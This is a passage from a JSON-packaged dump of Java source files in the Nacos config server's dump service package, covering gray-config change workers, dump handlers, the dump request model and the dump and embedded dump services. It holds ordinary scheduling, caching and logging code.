    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\n\nimport java.sql.Timestamp;\nimport java.util.List;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Dump gray config worker.\n *\n * @author shiyiyue\n */\npublic class DumpChangeGrayConfigWorker implements Runnable {\n    \n    Timestamp startTime;\n    \n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    ConfigMigrateService configMigrateService;\n    \n    private final HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    int pageSize = 100;\n    \n    public DumpChangeGrayConfigWorker(ConfigInfoGrayPersistService configInfoGrayPersistService, Timestamp startTime,\n            HistoryConfigInfoPersistService historyConfigInfoPersistService,\n            ConfigMigrateService configMigrateService) {\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n        this.startTime = startTime;\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n        this.configMigrateService = configMigrateService;\n    }\n    \n    @Override\n    public void run() {\n        try {\n            if (!PropertyUtil.isDumpChangeOn()) {\n                LogUtil.DEFAULT_LOG.info(\"DumpGrayChange task is not open\");\n                return;\n            }\n            Timestamp currentTime = new Timestamp(System.currentTimeMillis());\n            LogUtil.DEFAULT_LOG.info(\"DumpGrayChange start ,from time {},current time {}\", startTime, currentTime);\n            \n            LogUtil.DEFAULT_LOG.info(\"Start to check delete configs from  time {}\", startTime);\n            long startDeletedConfigTime = System.currentTimeMillis();\n            long deleteCursorId = 0L;\n            while (true) {\n                List<ConfigInfoStateWrapper> configDeleted = historyConfigInfoPersistService.findDeletedConfig(startTime,\n                        deleteCursorId, pageSize, Constants.GRAY);\n                for (ConfigInfoStateWrapper configInfo : configDeleted) {\n                    String grayName = configInfo.getGrayName();\n                    if (StringUtils.isBlank(grayName)) {\n                        continue;\n                    }\n                    \n                    ConfigInfoStateWrapper configInfoStateWrapper = configInfoGrayPersistService.findConfigInfo4GrayState(configInfo.getDataId(),\n                            configInfo.getGroup(), configInfo.getTenant(), grayName);\n                    if (configInfoStateWrapper == null) {\n                        ConfigCacheService.removeGray(configInfo.getDataId(), configInfo.getGroup(),\n                                configInfo.getTenant(), grayName);\n                        LogUtil.DEFAULT_LOG.info(\"[dump-gray-delete-ok], groupKey: {}, tenant: {}, grayName: {}\",\n                                GroupKey2.getKey(configInfo.getDataId(), configInfo.getGroup()), configInfo.getTenant(), grayName);\n                        configMigrateService.checkDeletedConfigGrayMigrateState(configInfo);\n                    }\n                }\n                if (configDeleted.size() < pageSize) {\n                    break;\n                }\n                deleteCursorId = configDeleted.get(configDeleted.size() - 1).getId();\n            }\n            LogUtil.DEFAULT_LOG.info(\"Check delete configs finished,cost:{}\",\n                    System.currentTimeMillis() - startDeletedConfigTime);\n            \n            LogUtil.DEFAULT_LOG.info(\"Check changeGrayConfig start\");\n            long startChangeConfigTime = System.currentTimeMillis();\n            \n            long changeCursorId = 0L;\n            while (true) {\n                LogUtil.DEFAULT_LOG.info(\"Check changed gray configs from  time {},lastMaxId={}\", startTime,\n                        changeCursorId);\n                List<ConfigInfoGrayWrapper> changeConfigs = configInfoGrayPersistService.findChangeConfig(startTime,\n                        changeCursorId, pageSize);\n                for (ConfigInfoGrayWrapper cf : changeConfigs) {\n                    configMigrateService.checkChangedConfigGrayMigrateState(cf);\n                    if (StringUtils.isBlank(cf.getTenant())) {\n                        continue;\n                    }\n                    final String groupKey = GroupKey2.getKey(cf.getDataId(), cf.getGroup(), cf.getTenant());\n                    //check md5 & localtimestamp update local disk cache.\n                    boolean newLastModified = cf.getLastModified() > ConfigCacheService.getLastModifiedTs(groupKey);\n                    String localContentMd5 = ConfigCacheService.getContentMd5(groupKey);\n                    boolean md5Update = !localContentMd5.equals(cf.getMd5());\n                    if (newLastModified || md5Update) {\n                        LogUtil.DEFAULT_LOG.info(\"[dump-change-gray] find change config  {}, {}, md5={}\",\n                                new Object[] {groupKey, cf.getLastModified(), cf.getMd5()});\n                        \n                        LogUtil.DUMP_LOG.info(\"[dump-change-gray] find change config  {}, {}, md5={}\",\n                                new Object[] {groupKey, cf.getLastModified(), cf.getMd5()});\n                        ConfigCacheService.dumpGray(cf.getDataId(), cf.getGroup(), cf.getTenant(), cf.getGrayName(),\n                                cf.getGrayRule(), cf.getContent(), cf.getLastModified(), cf.getEncryptedDataKey());\n                        final String content = cf.getContent();\n                        final String md5 = MD5Utils.md5Hex(content, Constants.ENCODE_GBK);\n                        final String md5Utf8 = MD5Utils.md5Hex(content, Constants.ENCODE_UTF8);\n                        \n                        LogUtil.DEFAULT_LOG.info(\"[dump-change-gray-ok] {}, {}, length={}, md5={},md5UTF8={}\",\n                                new Object[] {groupKey, cf.getLastModified(), content.length(), md5, md5Utf8});\n                    }\n                }\n                if (changeConfigs.size() < pageSize) {\n                    break;\n                }\n                changeCursorId = changeConfigs.get(changeConfigs.size() - 1).getId();\n            }\n            \n            long endChangeConfigTime = System.currentTimeMillis();\n            LogUtil.DEFAULT_LOG.info(\n                    \"Check changed gray configs finished,cost:{}, next task running will from start time  {}\",\n                    endChangeConfigTime - startChangeConfigTime, currentTime);\n            startTime = currentTime;\n        } catch (Throwable e) {\n            LogUtil.DEFAULT_LOG.error(\"Check changed gray configs error\", e);\n        } finally {\n            ConfigExecutor.scheduleConfigChangeTask(this, PropertyUtil.getDumpChangeWorkerInterval(),\n                    TimeUnit.MILLISECONDS);\n            LogUtil.DEFAULT_LOG.info(\"Next dump gray change will scheduled after {} milliseconds\",\n                    PropertyUtil.getDumpChangeWorkerInterval());\n            \n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/DumpConfigHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.config.server.model.event.ConfigDumpEvent;\nimport com.alibaba.nacos.config.server.service.ClientIpWhiteList;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.SwitchService;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\n\n/**\n * Dump config subscriber.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class DumpConfigHandler extends Subscriber<ConfigDumpEvent> {\n    \n    /**\n     * trigger config dump event.\n     *\n     * @param event {@link ConfigDumpEvent}\n     * @return {@code true} if the config dump task success , else {@code false}\n     */\n    public static boolean configDump(ConfigDumpEvent event) {\n        final String dataId = event.getDataId();\n        final String group = event.getGroup();\n        final String namespaceId = event.getNamespaceId();\n        final String content = event.getContent();\n        final long lastModified = event.getLastModifiedTs();\n    \n        //gray\n        if (StringUtils.isNotBlank(event.getGrayName())) {\n            boolean result = false;\n            if (!event.isRemove()) {\n                result = ConfigCacheService.dumpGray(dataId, group, namespaceId, event.getGrayName(),\n                        event.getGrayRule(), content, lastModified, event.getEncryptedDataKey());\n                if (result) {\n                    ConfigTraceService.logDumpGrayNameEvent(dataId, group, namespaceId, event.getGrayName(), null,\n                            lastModified, event.getHandleIp(), ConfigTraceService.DUMP_TYPE_OK,\n                            System.currentTimeMillis() - lastModified, content.length());\n                }\n            } else {\n                result = ConfigCacheService.removeGray(dataId, group, namespaceId, event.getGrayName());\n                if (result) {\n                    ConfigTraceService.logDumpGrayNameEvent(dataId, group, namespaceId, event.getGrayName(), null,\n                            lastModified, event.getHandleIp(), ConfigTraceService.DUMP_TYPE_REMOVE_OK,\n                            System.currentTimeMillis() - lastModified, 0);\n                }\n            }\n        \n            return result;\n        }\n        \n        if (dataId.equals(ClientIpWhiteList.CLIENT_IP_WHITELIST_METADATA)) {\n            ClientIpWhiteList.load(content);\n        }\n        \n        if (dataId.equals(SwitchService.SWITCH_META_DATA_ID)) {\n            SwitchService.load(content);\n        }\n        \n        boolean result;\n        if (!event.isRemove()) {\n            result = ConfigCacheService.dump(dataId, group, namespaceId, content, lastModified, event.getType(),\n                    event.getEncryptedDataKey());\n            \n            if (result) {\n                ConfigTraceService.logDumpEvent(dataId, group, namespaceId, null, lastModified, event.getHandleIp(),\n                        ConfigTraceService.DUMP_TYPE_OK, System.currentTimeMillis() - lastModified, content.length());\n            }\n        } else {\n            result = ConfigCacheService.remove(dataId, group, namespaceId);\n            \n            if (result) {\n                ConfigTraceService.logDumpEvent(dataId, group, namespaceId, null, lastModified, event.getHandleIp(),\n                        ConfigTraceService.DUMP_TYPE_REMOVE_OK, System.currentTimeMillis() - lastModified, 0);\n            }\n        }\n        return result;\n        \n    }\n    \n    @Override\n    public void onEvent(ConfigDumpEvent event) {\n        configDump(event);\n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return ConfigDumpEvent.class;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/DumpRequest.java",
    "content": "\n/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\n/**\n * dump request.\n *\n * @author shiyiyue\n */\npublic class DumpRequest {\n    \n    String dataId;\n    \n    String group;\n    \n    String tenant;\n    \n    String grayName;\n    \n    private long lastModifiedTs;\n    \n    private String sourceIp;\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public long getLastModifiedTs() {\n        return lastModifiedTs;\n    }\n    \n    public void setLastModifiedTs(long lastModifiedTs) {\n        this.lastModifiedTs = lastModifiedTs;\n    }\n    \n    public String getSourceIp() {\n        return sourceIp;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public void setSourceIp(String sourceIp) {\n        this.sourceIp = sourceIp;\n    }\n    \n    /**\n     * create dump request.\n     *\n     * @param dataId         dataId.\n     * @param group          group.\n     * @param tenant         tenant.\n     * @param lastModifiedTs lastModifiedTs.\n     * @param sourceIp       sourceIp.\n     * @return\n     */\n    public static DumpRequest create(String dataId, String group, String tenant, long lastModifiedTs, String sourceIp) {\n        DumpRequest dumpRequest = new DumpRequest();\n        dumpRequest.dataId = dataId;\n        dumpRequest.group = group;\n        dumpRequest.tenant = tenant;\n        dumpRequest.lastModifiedTs = lastModifiedTs;\n        dumpRequest.sourceIp = sourceIp;\n        return dumpRequest;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/DumpService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.utils.NetUtils;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.manager.TaskManager;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.dump.processor.DumpAllGrayProcessor;\nimport com.alibaba.nacos.config.server.service.dump.processor.DumpAllProcessor;\nimport com.alibaba.nacos.config.server.service.dump.processor.DumpProcessor;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpAllGrayTask;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpAllTask;\nimport com.alibaba.nacos.config.server.service.dump.task.DumpTask;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.utils.TimerContext;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.sql.Timestamp;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DUMP_LOG;\n\n/**\n * Dump data service.\n *\n * @author Nacos\n */\npublic abstract class DumpService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(DumpService.class);\n    \n    protected DumpProcessor processor;\n    \n    protected DumpAllProcessor dumpAllProcessor;\n    \n    protected DumpAllGrayProcessor dumpAllGrayProcessor;\n    \n    protected ConfigInfoPersistService configInfoPersistService;\n    \n    protected NamespacePersistService namespacePersistService;\n    \n    protected HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    protected ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    protected ConfigMigrateService configMigrateService;\n    \n    protected final ServerMemberManager memberManager;\n    \n    /**\n     * full dump interval.\n     */\n    static final int DUMP_ALL_INTERVAL_IN_MINUTE = 6 * 60;\n    \n    /**\n     * full dump delay.\n     */\n    static final int INITIAL_DELAY_IN_MINUTE = 6 * 60;\n    \n    private TaskManager dumpTaskMgr;\n    \n    private TaskManager dumpAllTaskMgr;\n    \n    static final int INIT_THREAD_COUNT = 10;\n    \n    int total = 0;\n    \n    /**\n     * Here you inject the dependent objects constructively, ensuring that some of the dependent functionality is\n     * initialized ahead of time.\n     *\n     * @param memberManager {@link ServerMemberManager}\n     */\n    public DumpService(ConfigInfoPersistService configInfoPersistService,\n            NamespacePersistService namespacePersistService,\n            HistoryConfigInfoPersistService historyConfigInfoPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService,\n            ServerMemberManager memberManager,\n            ConfigMigrateService configMigrateService) {\n        this.configInfoPersistService = configInfoPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n        this.namespacePersistService = namespacePersistService;\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n        this.memberManager = memberManager;\n        this.configMigrateService = configMigrateService;\n        this.processor = new DumpProcessor(this.configInfoPersistService, this.configInfoGrayPersistService);\n        this.dumpAllProcessor = new DumpAllProcessor(this.configInfoPersistService);\n        this.dumpAllGrayProcessor = new DumpAllGrayProcessor(this.configInfoGrayPersistService);\n        this.dumpTaskMgr = new TaskManager(\"com.alibaba.nacos.server.DumpTaskManager\");\n        this.dumpTaskMgr.setDefaultTaskProcessor(processor);\n        \n        this.dumpAllTaskMgr = new TaskManager(\"com.alibaba.nacos.server.DumpAllTaskManager\");\n        this.dumpAllTaskMgr.setDefaultTaskProcessor(dumpAllProcessor);\n        \n        this.dumpAllTaskMgr.addProcessor(DumpAllTask.TASK_ID, dumpAllProcessor);\n        this.dumpAllTaskMgr.addProcessor(DumpAllGrayTask.TASK_ID, dumpAllGrayProcessor);\n        DynamicDataSource.getInstance().getDataSource();\n        \n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                handleConfigDataChange(event);\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n    }\n    \n    void handleConfigDataChange(Event event) {\n        // Generate ConfigDataChangeEvent concurrently\n        if (event instanceof ConfigDataChangeEvent) {\n            ConfigDataChangeEvent evt = (ConfigDataChangeEvent) event;\n            DumpRequest dumpRequest = DumpRequest.create(evt.dataId, evt.group, evt.tenant, evt.lastModifiedTs,\n                    NetUtils.localIp());\n            dumpRequest.setGrayName(evt.grayName);\n            DumpService.this.dump(dumpRequest);\n        }\n    }\n    \n    /**\n     * initialize.\n     *\n     * @throws Throwable throws Exception when actually operate.\n     */\n    protected abstract void init() throws Throwable;\n    \n    /**\n     * config history clear.\n     */\n    class ConfigHistoryClear implements Runnable {\n        \n        private HistoryConfigCleaner historyConfigCleaner;\n        \n        public ConfigHistoryClear(HistoryConfigCleaner historyConfigCleaner) {\n            this.historyConfigCleaner = historyConfigCleaner;\n        }\n        \n        @Override\n        public void run() {\n            LOGGER.warn(\"clearHistoryConfig get scheduled\");\n            if (canExecute()) {\n                try {\n                    LOGGER.warn(\"clearHistoryConfig is enable in current context, try to run cleaner\");\n                    historyConfigCleaner.cleanHistoryConfig();\n                    LOGGER.warn(\"history config cleaner successfully\");\n                } catch (Throwable e) {\n                    LOGGER.error(\"clearConfigHistory error : {}\", e.toString());\n                }\n            } else {\n                LOGGER.warn(\"clearHistoryConfig is disable in current context\");\n            }\n        }\n    }\n    \n    /**\n     * config history clear.\n     */\n    class DumpAllProcessorRunner implements Runnable {\n        \n        @Override\n        public void run() {\n            dumpAllTaskMgr.addTask(DumpAllTask.TASK_ID, new DumpAllTask());\n        }\n    }\n    \n    /**\n     * dump all gray processor runner.\n     */\n    class DumpAllGrayProcessorRunner implements Runnable {\n        \n        @Override\n        public void run() {\n            dumpAllTaskMgr.addTask(DumpAllGrayTask.TASK_ID, new DumpAllGrayTask());\n        }\n    }\n    \n    protected void dumpOperate() throws NacosException {\n        String dumpFileContext = \"CONFIG_DUMP_TO_FILE\";\n        TimerContext.start(dumpFileContext);\n        try {\n            LogUtil.DEFAULT_LOG.warn(\"DumpService start\");\n            \n            Timestamp currentTime = new Timestamp(System.currentTimeMillis());\n            \n            try {\n                dumpAllConfigInfoOnStartup(dumpAllProcessor);\n                dumpAllGrayConfigInfoOnStartup(dumpAllGrayProcessor);\n            } catch (Exception e) {\n                LogUtil.FATAL_LOG.error(\n                        \"Nacos Server did not start because dumpservice bean construction failure :\\n\" + e);\n                throw new NacosException(NacosException.SERVER_ERROR,\n                        \"Nacos Server did not start because dumpservice bean construction failure :\\n\" + e.getMessage(),\n                        e);\n            }\n            if (!EnvUtil.getStandaloneMode()) {\n                \n                long initialDelay = ThreadLocalRandom.current().nextInt(INITIAL_DELAY_IN_MINUTE) + 10;\n                LogUtil.DEFAULT_LOG.warn(\"initialDelay:{}\", initialDelay);\n                \n                ConfigExecutor.scheduleConfigTask(new DumpAllProcessorRunner(), initialDelay,\n                        DUMP_ALL_INTERVAL_IN_MINUTE, TimeUnit.MINUTES);\n                ConfigExecutor.scheduleConfigTask(new DumpAllGrayProcessorRunner(), initialDelay,\n                        DUMP_ALL_INTERVAL_IN_MINUTE, TimeUnit.MINUTES);\n                \n                ConfigExecutor.scheduleConfigChangeTask(\n                        new DumpChangeConfigWorker(this.configInfoPersistService, this.historyConfigInfoPersistService,\n                                this.configMigrateService,\n                                currentTime),\n                        ThreadLocalRandom.current().nextInt((int) PropertyUtil.getDumpChangeWorkerInterval()),\n                        TimeUnit.MILLISECONDS);\n                ConfigExecutor.scheduleConfigChangeTask(\n                        new DumpChangeGrayConfigWorker(this.configInfoGrayPersistService, currentTime,\n                                this.historyConfigInfoPersistService, this.configMigrateService),\n                        ThreadLocalRandom.current().nextInt((int) PropertyUtil.getDumpChangeWorkerInterval()),\n                        TimeUnit.MILLISECONDS);\n            }\n            \n            HistoryConfigCleaner cleaner = HistoryConfigCleanerManager.getHistoryConfigCleaner(\n                    HistoryConfigCleanerConfig.getInstance().getActiveHistoryConfigCleaner());\n            ConfigExecutor.scheduleConfigTask(new ConfigHistoryClear(cleaner), 10, 10, TimeUnit.MINUTES);\n            \n        } finally {\n            TimerContext.end(dumpFileContext, LogUtil.DUMP_LOG);\n        }\n        \n    }\n    \n    private void dumpAllConfigInfoOnStartup(DumpAllProcessor dumpAllProcessor) {\n        \n        try {\n            LogUtil.DEFAULT_LOG.info(\"start clear all config-info.\");\n            ConfigDiskServiceFactory.getInstance().clearAll();\n            dumpAllProcessor.process(new DumpAllTask(true));\n        } catch (Exception e) {\n            LogUtil.FATAL_LOG.error(\"dump config fail\" + e.getMessage());\n            throw e;\n        }\n    }\n    \n    private void dumpAllGrayConfigInfoOnStartup(DumpAllGrayProcessor dumpAllGrayProcessor) {\n        try {\n            LogUtil.DEFAULT_LOG.info(\"start to clear all gray-config-info on startup.\");\n            ConfigDiskServiceFactory.getInstance().clearAllGray();\n            dumpAllGrayProcessor.process(new DumpAllGrayTask());\n        } catch (Exception e) {\n            LogUtil.FATAL_LOG.error(\"failed to dump all gray-config-info on startup.\" + e.getMessage());\n            throw e;\n        }\n    }\n    \n    /**\n     * dump operation.\n     *\n     * @param dumpRequest dumpRequest.\n     */\n    public void dump(DumpRequest dumpRequest) {\n        if (StringUtils.isNotBlank(dumpRequest.getGrayName())) {\n            dumpGray(dumpRequest.getDataId(), dumpRequest.getGroup(), dumpRequest.getTenant(),\n                    dumpRequest.getGrayName(), dumpRequest.getLastModifiedTs(), dumpRequest.getSourceIp());\n        } else {\n            dumpFormal(dumpRequest.getDataId(), dumpRequest.getGroup(), dumpRequest.getTenant(),\n                    dumpRequest.getLastModifiedTs(), dumpRequest.getSourceIp());\n        }\n    }\n    \n    /**\n     * dump formal config.\n     *\n     * @param dataId       dataId.\n     * @param group        group.\n     * @param tenant       tenant.\n     * @param lastModified lastModified.\n     * @param handleIp     handleIp.\n     */\n    private void dumpFormal(String dataId, String group, String tenant, long lastModified, String handleIp) {\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        String taskKey = groupKey;\n        dumpTaskMgr.addTask(taskKey, new DumpTask(groupKey, null, lastModified, handleIp));\n        DUMP_LOG.info(\"[dump] add formal task. groupKey={}\", groupKey);\n        \n    }\n    \n    /**\n     * dump gray.\n     *\n     * @param dataId       dataId.\n     * @param group        group.\n     * @param tenant       tenant.\n     * @param grayName     grayName.\n     * @param lastModified lastModified.\n     * @param handleIp     handleIp.\n     */\n    private void dumpGray(String dataId, String group, String tenant, String grayName, long lastModified,\n            String handleIp) {\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        String taskKey = groupKey + \"+gray+\" + grayName;\n        dumpTaskMgr.addTask(taskKey, new DumpTask(groupKey, grayName, lastModified, handleIp));\n        DUMP_LOG.info(\"[dump] add gray task. groupKey={},grayName={}\", groupKey, grayName);\n        \n    }\n    \n    public void dumpAll() {\n        dumpAllTaskMgr.addTask(DumpAllTask.TASK_ID, new DumpAllTask());\n    }\n    \n    /**\n     * Used to determine whether the aggregation task, configuration history cleanup task can be performed.\n     *\n     * @return {@link Boolean}\n     */\n    protected abstract boolean canExecute();\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/dump/EmbeddedDumpService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.dump;\n\nimport com.alibaba.nacos.common.utils.Observable;\nimport com.alibaba.nacos.common.utils.Observer;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.consistency.ProtocolMetaData;\nimport com.alibaba.nacos.consistency.cp.CPProtocol;\nimport com.alibaba.nacos.consistency.cp.MetadataKey;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.core.distributed.ProtocolManager;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.core.utils.GlobalExecutor;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage;\nimport com.alibaba.nacos.persistence.constants.PersistenceConstant;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport java.util.Objects;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.atomic.AtomicReference;\n\n/**\n * Embedded dump service.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@Conditional(ConditionOnEmbeddedStorage.class)\n@Component\npublic class EmbeddedDumpService extends DumpService {\n    \n    /**\n     * If it's just a normal reading failure, it can be resolved by retrying.\n     */\n    final String[] retryMessages = new String[] {\"The conformance protocol is temporarily unavailable for reading\"};\n    \n    /**\n     * If the read failed due to an internal problem in the Raft state machine, it cannot be remedied by retrying.\n     */\n    final String[] errorMessages = new String[] {\"FSMCaller is overload.\", \"STATE_ERROR\"};\n    \n    private final ProtocolManager protocolManager;\n    \n    /**\n     * Here you inject the dependent objects constructively, ensuring that some of the dependent functionality is\n     * initialized ahead of time.\n     *\n     * @param memberManager   {@link ServerMemberManager}\n     * @param protocolManager {@link ProtocolManager}\n     */\n    public EmbeddedDumpService(ConfigInfoPersistService configInfoPersistService,\n            NamespacePersistService namespacePersistService,\n            HistoryConfigInfoPersistService historyConfigInfoPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService, ServerMemberManager memberManager,\n            ProtocolManager protocolManager, ConfigMigrateService configMigrateService) {\n        super(configInfoPersistService, namespacePersistService, historyConfigInfoPersistService,\n                configInfoGrayPersistService, memberManager, configMigrateService);\n        this.protocolManager = protocolManager;\n    }\n    \n    @PostConstruct\n    @Override\n    protected void init() throws Throwable {\n        if (EnvUtil.getStandaloneMode()) {\n            dumpOperate();\n            return;\n        }\n        \n        CPProtocol protocol = protocolManager.getCpProtocol();\n        AtomicReference<Throwable> errorReference = new AtomicReference<>(null);\n        CountDownLatch waitDumpFinish = new CountDownLatch(1);\n        \n        // watch path => /nacos_config/leader/ has value ?\n        Observer observer = new Observer() {\n            \n            @Override\n            public void update(Observable o) {\n                if (!(o instanceof ProtocolMetaData.ValueItem)) {\n                    return;\n                }\n                final Object arg = ((ProtocolMetaData.ValueItem) o).getData();\n                GlobalExecutor.executeByCommon(() -> {\n                    // must make sure that there is a value here to perform the correct operation that follows\n                    if (Objects.isNull(arg)) {\n                        return;\n                    }\n                    // Identify without a timeout mechanism\n                    